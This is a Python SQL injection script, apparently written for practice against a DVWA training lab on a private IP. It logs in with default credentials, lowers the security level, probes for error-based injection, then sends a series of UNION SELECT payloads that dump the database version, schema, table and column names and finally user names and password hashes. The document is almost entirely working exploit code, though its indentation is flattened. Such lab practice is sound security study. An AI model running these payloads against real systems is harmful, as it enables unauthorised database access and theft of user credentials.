|
#!/usr/bin/env /usr/bin/python3
#
# SQL Injection (Error-based SQL Injection)
#
import requests
from bs4 import BeautifulSoup
import re
import sys
import os
# (1) Login Attempt
# (2) Security level setting
# (3) SQL Injection possible?
# (4) SQL injection attack
domain = 'http://192.168.10.134'
def banner():
banner_message = """
------------------------------------------------
Remote excution vulnerable check & exploit code
Write by sh4d0wh4ckEr
------------------------------------------------
"""
print(banner_message)
banner()
# (1) Login Attempt
login_url = domain + '/dvwa/login.php'
login_data = {'username': 'admin', 'password': 'password', 'Login': 'Login'}
s = requests.Session()
resp = s.post(login_url, data=login_data)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.div.h1.string)
OK_MESS = 'Welcome to Damn Vulnerable Web App'
if re.search(OK_MESS, soup.div.h1.string):
print('[+] Login successfully.')
else:
sys.exit('[-] Login failed.')
# (2) Security level setting
security_url = domain + '/dvwa/security.php'
security_data = {'security': 'low', 'seclev_submit': 'Submit'}
resp = s.post(security_url, data=security_data)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.find_all('div', class_='message'))
OK_MESS = 'Security level set to low'
if re.search(OK_MESS, str(soup.find_all('div', class_='message'))):
print('[+] Security level set to low.')
else:
sys.exit('[-] Security level is not set.')
# (3) SQL Injection possible?
sqli_url = domain + '/dvwa/vulnerabilities/sqli/?'
SQLInjected = "1'"
sqli_params = {'id': SQLInjected, 'Submit': 'Submit'}
resp = s.get(sqli_url, params=sqli_params)
# print(resp.text)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.pre.string)
OK_MESS = 'MySQL server'
if re.search(OK_MESS, soup.pre.string):
print('[+] SQL Injection is possible.')
else:
sys.exit('[-] SQL Injection not possible.')
# (4) SQL injection attack
SQL_Injection_Query_List = [ "' and 1=0 union select null, version()#",
"' and 1=0 union select null, user()#",
"' and 1=0 union select null, database()#",
"' and 1=0 union select null, table_name from information_schema.tables where table_schema = database()#",
"' and 1=0 union select null, column_name from information_schema.columns where table_name = 'users'#",
"' and 1=0 union select user, password from users#" ]
SQL_Injection_Query_List_Menu = """
========================================
(1) DB Software Version
(2) DB Current User
(3) DB Name
(4) DB Table Name
(5) DB Column Name
(6) DB User ID/Password Information
========================================
"""
print(SQL_Injection_Query_List_Menu)
for SQLInjected in SQL_Injection_Query_List:
sqli_params = {'id': SQLInjected, 'Submit': 'Submit'}
resp = s.get(sqli_url, params=sqli_params)
# print(resp.text) ; input()
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.find_all('pre'))
for i in soup.find_all('pre'):
print(i)
|